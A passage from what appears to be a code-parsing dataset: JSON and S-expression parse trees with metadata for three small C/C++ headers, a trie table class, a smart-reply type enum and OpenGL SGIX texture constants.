"maximumNumberTuples_", "parent": 139, "children": [], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 76, "column": 28}}, {"id": 142, "type": "declaration", "text": "Int32 minimumNumberTuples_;", "parent": 19, "children": [143, 144], "start_point": {"row": 77, "column": 2}, "end_point": {"row": 77, "column": 29}}, {"id": 143, "type": "type_identifier", "text": "Int32", "parent": 142, "children": [], "start_point": {"row": 77, "column": 2}, "end_point": {"row": 77, "column": 7}}, {"id": 144, "type": "identifier", "text": "minimumNumberTuples_", "parent": 142, "children": [], "start_point": {"row": 77, "column": 8}, "end_point": {"row": 77, "column": 28}}, {"id": 145, "type": "declaration", "text": "ExTrie rootTrie_;", "parent": 19, "children": [146, 147], "start_point": {"row": 79, "column": 2}, "end_point": {"row": 79, "column": 19}}, {"id": 146, "type": "type_identifier", "text": "ExTrie", "parent": 145, "children": [], "start_point": {"row": 79, "column": 2}, "end_point": {"row": 79, "column": 8}}, {"id": 147, "type": "identifier", "text": "rootTrie_", "parent": 145, "children": [], "start_point": {"row": 79, "column": 9}, "end_point": {"row": 79, "column": 18}}, {"id": 148, "type": "declaration", "text": "ExTrie nextTrie_;", "parent": 19, "children": [149, 150], "start_point": {"row": 80, "column": 2}, "end_point": {"row": 80, "column": 19}}, {"id": 149, "type": "type_identifier", "text": "ExTrie", "parent": 148, "children": [], "start_point": {"row": 80, "column": 2}, "end_point": {"row": 80, "column": 8}}, {"id": 150, "type": "identifier", "text": "nextTrie_", "parent": 148, "children": [], "start_point": {"row": 80, "column": 9}, "end_point": {"row": 80, "column": 18}}, {"id": 151, "type": "declaration", "text": "char *data_;", "parent": 19, "children": [152, 153], "start_point": {"row": 81, "column": 2}, "end_point": {"row": 81, "column": 14}}, {"id": 152, "type": "primitive_type", "text": "char", "parent": 151, "children": [], "start_point": {"row": 81, "column": 2}, "end_point": {"row": 81, "column": 6}}, {"id": 153, "type": "pointer_declarator", "text": "*data_", "parent": 151, "children": [154, 155], "start_point": {"row": 81, "column": 7}, "end_point": {"row": 81, "column": 13}}, {"id": 154, "type": "*", "text": "*", "parent": 153, "children": [], "start_point": {"row": 81, "column": 7}, "end_point": {"row": 81, "column": 8}}, {"id": 155, "type": "identifier", "text": "data_", "parent": 153, "children": [], "start_point": {"row": 81, "column": 8}, "end_point": {"row": 81, "column": 13}}, {"id": 156, "type": "declaration", "text": "char *rootTuple_;", "parent": 19, "children": [157, 158], "start_point": {"row": 83, "column": 2}, "end_point": {"row": 83, "column": 19}}, {"id": 157, "type": "primitive_type", "text": "char", "parent": 156, "children": [], "start_point": {"row": 83, "column": 2}, "end_point": {"row": 83, "column": 6}}, {"id": 158, "type": "pointer_declarator", "text": "*rootTuple_", "parent": 156, "children": [159, 160], "start_point": {"row": 83, "column": 7}, "end_point": {"row": 83, "column": 18}}, {"id": 159, "type": "*", "text": "*", "parent": 158, "children": [], "start_point": {"row": 83, "column": 7}, "end_point": {"row": 83, "column": 8}}, {"id": 160, "type": "identifier", "text": "rootTuple_", "parent": 158, "children": [], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 83, "column": 18}}, {"id": 161, "type": "declaration", "text": "Int32 numberTuples_;", "parent": 19, "children": [162, 163], "start_point": {"row": 84, "column": 2}, "end_point": {"row": 84, "column": 22}}, {"id": 162, "type": "type_identifier", "text": "Int32", "parent": 161, "children": [], "start_point": {"row": 84, "column": 2}, "end_point": {"row": 84, "column": 7}}, {"id": 163, "type": "identifier", "text": "numberTuples_", "parent": 161, "children": [], "start_point": {"row": 84, "column": 8}, "end_point": {"row": 84, "column": 21}}, {"id": 164, "type": "declaration", "text": "Int32 returnRow_;", "parent": 19, "children": [165, 166], "start_point": {"row": 85, "column": 2}, "end_point": {"row": 85, "column": 19}}, {"id": 165, "type": "type_identifier", "text": "Int32", "parent": 164, "children": [], "start_point": {"row": 85, "column": 2}, "end_point": {"row": 85, "column": 7}}, {"id": 166, "type": "identifier", "text": "returnRow_", "parent": 164, "children": [], "start_point": {"row": 85, "column": 8}, "end_point": {"row": 85, "column": 18}}, {"id": 167, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 88, "column": 0}, "end_point": {"row": 88, "column": 6}}]}, "node_categories": {"declarations": {"functions": [19, 48, 55, 60, 64, 69, 73, 92, 94, 100, 102, 111], "variables": [9, 11, 24, 109, 114, 120, 123, 126, 129, 134, 139, 142, 145, 148, 151, 156, 161, 164], "classes": [], "imports": [6, 7], "modules": [], "enums": []}, "statements": {"expressions": [41, 43, 77, 78, 83, 86, 97], "assignments": [105], "loops": [], "conditionals": [0, 1, 2, 5, 10, 18, 20, 22, 25, 26, 28, 29, 31, 32, 34, 35, 37, 40, 44, 47, 49, 52, 54, 56, 59, 65, 68, 74, 76, 79, 81, 84, 87, 89, 95, 98, 103, 106, 110, 112, 118, 121, 122, 124, 125, 127, 128, 130, 133, 138, 140, 141, 143, 144, 146, 147, 149, 150, 155, 160, 162, 163, 165, 166, 167], "returns": [51, 58, 67, 82, 90], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 91, 108], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 19, "universal_type": "function", "name": "ExTrieTable", "text_snippet": "class ExTrieTable : public ExGod {\npublic:\n ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSiz"}, {"node_id": 48, "universal_type": "function", "name": "unknown", "text_snippet": "getMaximumNumberTuples()"}, {"node_id": 55, "universal_type": "function", "name": "unknown", "text_snippet": "getMinimumNumberTuples()"}, {"node_id": 60, "universal_type": "function", "name": "unknown", "text_snippet": "char *getData() const { return data_; }"}, {"node_id": 64, "universal_type": "function", "name": "unknown", "text_snippet": "getData() const"}, {"node_id": 69, "universal_type": "function", "name": "unknown", "text_snippet": "char *getReturnRow() const { \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow"}, {"node_id": 73, "universal_type": "function", "name": "unknown", "text_snippet": "getReturnRow() const"}, {"node_id": 92, "universal_type": "function", "name": "advanceReturnRow", "text_snippet": "void advanceReturnRow() { returnRow_++; }"}, {"node_id": 94, "universal_type": "function", "name": "unknown", "text_snippet": "advanceReturnRow()"}, {"node_id": 100, "universal_type": "function", "name": "resetReturnRow", "text_snippet": "void resetReturnRow() { returnRow_ = 0; }"}, {"node_id": 102, "universal_type": "function", "name": "unknown", "text_snippet": "resetReturnRow()"}, {"node_id": 111, "universal_type": "function", "name": "unknown", "text_snippet": "findOrAdd(char *key)"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include \"ex_god.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "/* -*-C++-*-\n******************************************************************************\n*\n* File: ExTrieTable.h\n* RCS: $Id\n* Description: ExTrieTable class declaration\n* Created: 7/1/97\n* Modified: $Author\n* Language: C++\n* Status: $State\n*\n*\n// @@@ START COPYRIGHT @@@\n//\n// Licensed to the Apache Software Foundation (ASF) under one\n// or more contributor license agreements. See the NOTICE file\n// distributed with this work for additional information\n// regarding copyright ownership. The ASF licenses this file\n// to you under the Apache License, Version 2.0 (the\n// \"License\"); you may not use this file except in compliance\n// with the License. You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing,\n// software distributed under the License is distributed on an\n// \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n// KIND, either express or implied. See the License for the\n// specific language governing permissions and limitations\n// under the License.\n//\n// @@@ END COPYRIGHT @@@\n*\n*\n******************************************************************************\n*/\n#ifndef __ExTrieTable_h__\n#define __ExTrieTable_h__\n\n// Includes\n//\n#include \"ex_god.h\"\n\n// External forward declarations\n//\nclass NAMemory;\n\ntypedef char **ExTrie;\n\nclass ExTrieTable : public ExGod {\npublic:\n ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);\n ~ExTrieTable();\n\n Int32 getMaximumNumberTuples() const { return maximumNumberTuples_; };\n Int32 getMinimumNumberTuples() const { return minimumNumberTuples_; };\n char *getData() const { return data_; };\n\n char *getReturnRow() const { \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_; \n return 0;\n };\n void advanceReturnRow() { returnRow_++; };\n void resetReturnRow() { returnRow_ = 0; };\n \n\n Int32 findOrAdd(char *key);\n\nprivate:\n Int32 keySize_;\n Int32 dataSize_;\n Int32 memSize_;\n NAMemory *heap_;\n\n char *memory_;\n Int32 maximumNumberTuples_;\n Int32 minimumNumberTuples_;\n\n ExTrie rootTrie_;\n ExTrie nextTrie_;\n char *data_;\n\n char *rootTuple_;\n Int32 numberTuples_;\n Int32 returnRow_;\n};\n\n#endif\n\n"}
81,172
c
#pragma once namespace core { namespace smartreply { enum class type { invalid, sticker, sticker_by_text, text, audiocall, videocall, }; std::string_view type_2_string(const smartreply::type _type) noexcept; smartreply::type string_2_type(const std::string_view _str) noexcept; std::string_view array_node_name_for(const smartreply::type _type) noexcept; } }
24.84
19
(translation_unit) "#pragma once\n\nnamespace core\n{\n namespace smartreply\n {\n enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }\n}" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (function_definition) "namespace core\n{\n namespace smartreply\n {\n enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }\n}" (type_identifier) "namespace" (identifier) "core" (compound_statement) "{\n namespace smartreply\n {\n enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }\n}" ({) "{" (function_definition) "namespace smartreply\n {\n enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }\n}" (type_identifier) "namespace" (identifier) "smartreply" (compound_statement) "{\n enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }\n}" ({) "{" (function_definition) "enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }" (enum_specifier) "enum class" (enum) "enum" (type_identifier) "class" (identifier) "type" (compound_statement) "{\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }" ({) "{" (expression_statement) "invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };" (comma_expression) "invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall" (identifier) "invalid" (,) "," (comma_expression) "sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall" (identifier) "sticker" (,) "," (comma_expression) "sticker_by_text,\n text,\n audiocall,\n videocall" (identifier) "sticker_by_text" (,) "," (comma_expression) "text,\n audiocall,\n videocall" (identifier) "text" (,) "," (comma_expression) "audiocall,\n videocall" (identifier) "audiocall" (,) "," (identifier) "videocall" (ERROR) ",\n }" (,) "," (}) "}" (;) ";" (labeled_statement) "std::string_view type_2_string(const smartreply::type _type) noexcept;" (statement_identifier) "std" (ERROR) "::string_view type_2_string(const smartreply:" (:) ":" (:) ":" (type_identifier) "string_view" (identifier) "type_2_string" (() "(" (type_qualifier) "const" (const) "const" (type_identifier) "smartreply" (:) ":" (:) ":" (declaration) "type _type) noexcept;" (type_identifier) "type" (ERROR) "_type)" (identifier) "_type" ()) ")" (identifier) "noexcept" (;) ";" (labeled_statement) "smartreply::type string_2_type(const std::string_view _str) noexcept;" (statement_identifier) "smartreply" (ERROR) "::type string_2_type(const std:" (:) ":" (:) ":" (type_identifier) "type" (identifier) "string_2_type" (() "(" (type_qualifier) "const" (const) "const" (type_identifier) "std" (:) ":" (:) ":" (declaration) "string_view _str) noexcept;" (type_identifier) "string_view" (ERROR) "_str)" (identifier) "_str" ()) ")" (identifier) "noexcept" (;) ";" (labeled_statement) "std::string_view array_node_name_for(const smartreply::type _type) noexcept;" (statement_identifier) "std" (ERROR) "::string_view array_node_name_for(const smartreply:" (:) ":" (:) ":" (type_identifier) "string_view" (identifier) "array_node_name_for" (() "(" (type_qualifier) "const" (const) "const" (type_identifier) "smartreply" (:) ":" (:) ":" (declaration) "type _type) noexcept;" (type_identifier) "type" (ERROR) "_type)" (identifier) "_type" ()) ")" (identifier) "noexcept" (;) ";" (}) "}" (}) "}" (}) ""
105
7
{"language": "c", "success": true, "metadata": {"lines": 19, "avg_line_length": 24.84, "nodes": 58, "errors": 0, "source_hash": "895c0863f6fd1a7e02aa0febf55d2933edebd20ac91c14f773aac6733464f608", "categorized_nodes": 46}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 12}}, {"id": 3, "type": "function_definition", "text": "namespace core\n{\n namespace smartreply\n {\n enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }\n}", "parent": null, "children": [4, 5], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 21, "column": 1}}, {"id": 4, "type": "type_identifier", "text": "namespace", "parent": 3, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 9}}, {"id": 5, "type": "identifier", "text": "core", "parent": 3, "children": [], "start_point": {"row": 2, "column": 10}, "end_point": {"row": 2, "column": 14}}, {"id": 6, "type": "function_definition", "text": "namespace smartreply\n {\n enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }\n}", "parent": 3, "children": [7, 8], "start_point": {"row": 4, "column": 4}, "end_point": {"row": 21, "column": 1}}, {"id": 7, "type": "type_identifier", "text": "namespace", "parent": 6, "children": [], "start_point": {"row": 4, "column": 4}, "end_point": {"row": 4, "column": 13}}, {"id": 8, "type": "identifier", "text": "smartreply", "parent": 6, "children": [], "start_point": {"row": 4, "column": 14}, "end_point": {"row": 4, "column": 24}}, {"id": 9, "type": "function_definition", "text": "enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }", "parent": 6, "children": [10, 12], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 20, "column": 5}}, {"id": 10, "type": "enum_specifier", "text": "enum class", "parent": 9, "children": [11], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 18}}, {"id": 11, "type": "enum", "text": "enum", "parent": 10, "children": [], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 12}}, {"id": 12, "type": "identifier", "text": "type", "parent": 9, "children": [], "start_point": {"row": 6, "column": 19}, "end_point": {"row": 6, "column": 23}}, {"id": 13, "type": "comma_expression", "text": "invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall", "parent": 9, "children": [14, 15], "start_point": {"row": 8, "column": 12}, "end_point": {"row": 14, "column": 21}}, {"id": 14, "type": "identifier", "text": "invalid", "parent": 13, "children": [], "start_point": {"row": 8, "column": 12}, "end_point": {"row": 8, "column": 19}}, {"id": 15, "type": "comma_expression", "text": "sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall", "parent": 13, "children": [16, 17], "start_point": {"row": 10, "column": 12}, "end_point": {"row": 14, "column": 21}}, {"id": 16, "type": "identifier", "text": "sticker", "parent": 15, "children": [], "start_point": {"row": 10, "column": 12}, "end_point": {"row": 10, "column": 19}}, {"id": 17, "type": "comma_expression", "text": "sticker_by_text,\n text,\n audiocall,\n videocall", "parent": 15, "children": [18, 19], "start_point": {"row": 11, "column": 12}, "end_point": {"row": 14, "column": 21}}, {"id": 18, "type": "identifier", "text": "sticker_by_text", "parent": 17, "children": [], "start_point": {"row": 11, "column": 12}, "end_point": {"row": 11, "column": 27}}, {"id": 19, "type": "comma_expression", "text": "text,\n audiocall,\n videocall", "parent": 17, "children": [20, 21], "start_point": {"row": 12, "column": 12}, "end_point": {"row": 14, "column": 21}}, {"id": 20, "type": "identifier", "text": "text", "parent": 19, "children": [], "start_point": {"row": 12, "column": 12}, "end_point": {"row": 12, "column": 16}}, {"id": 21, "type": "comma_expression", "text": "audiocall,\n videocall", "parent": 19, "children": [22, 23], "start_point": {"row": 13, "column": 12}, "end_point": {"row": 14, "column": 21}}, {"id": 22, "type": "identifier", "text": "audiocall", "parent": 21, "children": [], "start_point": {"row": 13, "column": 12}, "end_point": {"row": 13, "column": 21}}, {"id": 23, "type": "identifier", "text": "videocall", "parent": 21, "children": [], "start_point": {"row": 14, "column": 12}, "end_point": {"row": 14, "column": 21}}, {"id": 24, "type": "ERROR", "text": ",\n }", "parent": 9, "children": [], "start_point": {"row": 14, "column": 21}, "end_point": {"row": 15, "column": 9}}, {"id": 25, "type": "labeled_statement", "text": "std::string_view type_2_string(const smartreply::type _type) noexcept;", "parent": 9, "children": [26, 27, 31], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 78}}, {"id": 26, "type": "statement_identifier", "text": "std", "parent": 25, "children": [], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 11}}, {"id": 27, "type": "ERROR", "text": "::string_view type_2_string(const smartreply:", "parent": 25, "children": [28, 29, 30], "start_point": {"row": 17, "column": 11}, "end_point": {"row": 17, "column": 56}}, {"id": 28, "type": "type_identifier", "text": "string_view", "parent": 27, "children": [], "start_point": {"row": 17, "column": 13}, "end_point": {"row": 17, "column": 24}}, {"id": 29, "type": "identifier", "text": "type_2_string", "parent": 27, "children": [], "start_point": {"row": 17, "column": 25}, "end_point": {"row": 17, "column": 38}}, {"id": 30, "type": "type_identifier", "text": "smartreply", "parent": 27, "children": [], "start_point": {"row": 17, "column": 45}, "end_point": {"row": 17, "column": 55}}, {"id": 31, "type": "declaration", "text": "type _type) noexcept;", "parent": 25, "children": [32, 33, 35], "start_point": {"row": 17, "column": 57}, "end_point": {"row": 17, "column": 78}}, {"id": 32, "type": "type_identifier", "text": "type", "parent": 31, "children": [], "start_point": {"row": 17, "column": 57}, "end_point": {"row": 17, "column": 61}}, {"id": 33, "type": "ERROR", "text": "_type)", "parent": 31, "children": [34], "start_point": {"row": 17, "column": 62}, "end_point": {"row": 17, "column": 68}}, {"id": 34, "type": "identifier", "text": "_type", "parent": 33, "children": [], "start_point": {"row": 17, "column": 62}, "end_point": {"row": 17, "column": 67}}, {"id": 35, "type": "identifier", "text": "noexcept", "parent": 31, "children": [], "start_point": {"row": 17, "column": 69}, "end_point": {"row": 17, "column": 77}}, {"id": 36, "type": "labeled_statement", "text": "smartreply::type string_2_type(const std::string_view _str) noexcept;", "parent": 9, "children": [37, 38, 42], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 77}}, {"id": 37, "type": "statement_identifier", "text": "smartreply", "parent": 36, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 18}}, {"id": 38, "type": "ERROR", "text": "::type string_2_type(const std:", "parent": 36, "children": [39, 40, 41], "start_point": {"row": 18, "column": 18}, "end_point": {"row": 18, "column": 49}}, {"id": 39, "type": "type_identifier", "text": "type", "parent": 38, "children": [], "start_point": {"row": 18, "column": 20}, "end_point": {"row": 18, "column": 24}}, {"id": 40, "type": "identifier", "text": "string_2_type", "parent": 38, "children": [], "start_point": {"row": 18, "column": 25}, "end_point": {"row": 18, "column": 38}}, {"id": 41, "type": "type_identifier", "text": "std", "parent": 38, "children": [], "start_point": {"row": 18, "column": 45}, "end_point": {"row": 18, "column": 48}}, {"id": 42, "type": "declaration", "text": "string_view _str) noexcept;", "parent": 36, "children": [43, 44, 46], "start_point": {"row": 18, "column": 50}, "end_point": {"row": 18, "column": 77}}, {"id": 43, "type": "type_identifier", "text": "string_view", "parent": 42, "children": [], "start_point": {"row": 18, "column": 50}, "end_point": {"row": 18, "column": 61}}, {"id": 44, "type": "ERROR", "text": "_str)", "parent": 42, "children": [45], "start_point": {"row": 18, "column": 62}, "end_point": {"row": 18, "column": 67}}, {"id": 45, "type": "identifier", "text": "_str", "parent": 44, "children": [], "start_point": {"row": 18, "column": 62}, "end_point": {"row": 18, "column": 66}}, {"id": 46, "type": "identifier", "text": "noexcept", "parent": 42, "children": [], "start_point": {"row": 18, "column": 68}, "end_point": {"row": 18, "column": 76}}, {"id": 47, "type": "labeled_statement", "text": "std::string_view array_node_name_for(const smartreply::type _type) noexcept;", "parent": 9, "children": [48, 49, 53], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 84}}, {"id": 48, "type": "statement_identifier", "text": "std", "parent": 47, "children": [], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 11}}, {"id": 49, "type": "ERROR", "text": "::string_view array_node_name_for(const smartreply:", "parent": 47, "children": [50, 51, 52], "start_point": {"row": 19, "column": 11}, "end_point": {"row": 19, "column": 62}}, {"id": 50, "type": "type_identifier", "text": "string_view", "parent": 49, "children": [], "start_point": {"row": 19, "column": 13}, "end_point": {"row": 19, "column": 24}}, {"id": 51, "type": "identifier", "text": "array_node_name_for", "parent": 49, "children": [], "start_point": {"row": 19, "column": 25}, "end_point": {"row": 19, "column": 44}}, {"id": 52, "type": "type_identifier", "text": "smartreply", "parent": 49, "children": [], "start_point": {"row": 19, "column": 51}, "end_point": {"row": 19, "column": 61}}, {"id": 53, "type": "declaration", "text": "type _type) noexcept;", "parent": 47, "children": [54, 55, 57], "start_point": {"row": 19, "column": 63}, "end_point": {"row": 19, "column": 84}}, {"id": 54, "type": "type_identifier", "text": "type", "parent": 53, "children": [], "start_point": {"row": 19, "column": 63}, "end_point": {"row": 19, "column": 67}}, {"id": 55, "type": "ERROR", "text": "_type)", "parent": 53, "children": [56], "start_point": {"row": 19, "column": 68}, "end_point": {"row": 19, "column": 74}}, {"id": 56, "type": "identifier", "text": "_type", "parent": 55, "children": [], "start_point": {"row": 19, "column": 68}, "end_point": {"row": 19, "column": 73}}, {"id": 57, "type": "identifier", "text": "noexcept", "parent": 53, "children": [], "start_point": {"row": 19, "column": 75}, "end_point": {"row": 19, "column": 83}}]}, "node_categories": {"declarations": {"functions": [3, 6, 9], "variables": [31, 42, 53], "classes": [], "imports": [], "modules": [], "enums": [10, 11]}, "statements": {"expressions": [13, 15, 17, 19, 21], "assignments": [], "loops": [], "conditionals": [4, 5, 7, 8, 12, 14, 16, 18, 20, 22, 23, 26, 28, 29, 30, 32, 34, 35, 37, 39, 40, 41, 43, 45, 46, 48, 50, 51, 52, 54, 56, 57], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 3, "universal_type": "function", "name": "type", "text_snippet": "namespace core\n{\n namespace smartreply\n {\n enum class type\n {\n invali"}, {"node_id": 6, "universal_type": "function", "name": "type", "text_snippet": "namespace smartreply\n {\n enum class type\n {\n invalid,\n\n stick"}, {"node_id": 9, "universal_type": "function", "name": "type", "text_snippet": "enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n "}], "class_declarations": [], "import_statements": []}, "original_source_code": "#pragma once\n\nnamespace core\n{\n namespace smartreply\n {\n enum class type\n {\n invalid,\n\n sticker,\n sticker_by_text,\n text,\n audiocall,\n videocall,\n };\n\n std::string_view type_2_string(const smartreply::type _type) noexcept;\n smartreply::type string_2_type(const std::string_view _str) noexcept;\n std::string_view array_node_name_for(const smartreply::type _type) noexcept;\n }\n}"}
81,173
c
#define GLI_INCLUDE_GL_SGIX_TEXTURE_SCALE_BIAS enum Main { GL_POST_TEXTURE_FILTER_BIAS_SGIX = 0x8179, GL_POST_TEXTURE_FILTER_SCALE_SGIX = 0x817A, GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX = 0x817B, GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX = 0x817C, };
41
7
(translation_unit) "#define GLI_INCLUDE_GL_SGIX_TEXTURE_SCALE_BIAS\n\nenum Main {\n\n GL_POST_TEXTURE_FILTER_BIAS_SGIX = 0x8179,\n GL_POST_TEXTURE_FILTER_SCALE_SGIX = 0x817A,\n GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX = 0x817B,\n GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX = 0x817C,\n\n};\n\n" (preproc_def) "#define GLI_INCLUDE_GL_SGIX_TEXTURE_SCALE_BIAS\n" (#define) "#define" (identifier) "GLI_INCLUDE_GL_SGIX_TEXTURE_SCALE_BIAS" (enum_specifier) "enum Main {\n\n GL_POST_TEXTURE_FILTER_BIAS_SGIX = 0x8179,\n GL_POST_TEXTURE_FILTER_SCALE_SGIX = 0x817A,\n GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX = 0x817B,\n GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX = 0x817C,\n\n}" (enum) "enum" (type_identifier) "Main" (enumerator_list) "{\n\n GL_POST_TEXTURE_FILTER_BIAS_SGIX = 0x8179,\n GL_POST_TEXTURE_FILTER_SCALE_SGIX = 0x817A,\n GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX = 0x817B,\n GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX = 0x817C,\n\n}" ({) "{" (enumerator) "GL_POST_TEXTURE_FILTER_BIAS_SGIX = 0x8179" (identifier) "GL_POST_TEXTURE_FILTER_BIAS_SGIX" (=) "=" (number_literal) "0x8179" (,) "," (enumerator) "GL_POST_TEXTURE_FILTER_SCALE_SGIX = 0x817A" (identifier) "GL_POST_TEXTURE_FILTER_SCALE_SGIX" (=) "=" (number_literal) "0x817A" (,) "," (enumerator) "GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX = 0x817B" (identifier) "GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX" (=) "=" (number_literal) "0x817B" (,) "," (enumerator) "GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX = 0x817C" (identifier) "GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX" (=) "=" (number_literal) "0x817C" (,) "," (}) "}" (;) ";"
31
0
{"language": "c", "success": true, "metadata": {"lines": 7, "avg_line_length": 41.0, "nodes": 23, "errors": 0, "source_hash": "80f488ed544f5223c35a4894a58b6bcd136aae8deb37d8fc27e7f3f3a7c7e393", "categorized_nodes": 17}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_def", "text": "#define GLI_INCLUDE_GL_SGIX_TEXTURE_SCALE_BIAS\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#define", "text": "#define", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "GLI_INCLUDE_GL_SGIX_TEXTURE_SCALE_BIAS", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 46}}, {"id": 3, "type": "enum_specifier", "text": "enum Main {\n\n GL_POST_TEXTURE_FILTER_BIAS_SGIX = 0x8179,\n GL_POST_TEXTURE_FILTER_SCALE_SGIX = 0x817A,\n GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX = 0x817B,\n GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX = 0x817C,\n\n}", "parent": null, "children": [4, 5, 6], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 9, "column": 1}}, {"id": 4, "type": "enum", "text": "enum", "parent": 3, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 4}}, {"id": 5, "type": "type_identifier", "text": "Main", "parent": 3, "children": [], "start_point": {"row": 2, "column": 5}, "end_point": {"row": 2, "column": 9}}, {"id": 6, "type": 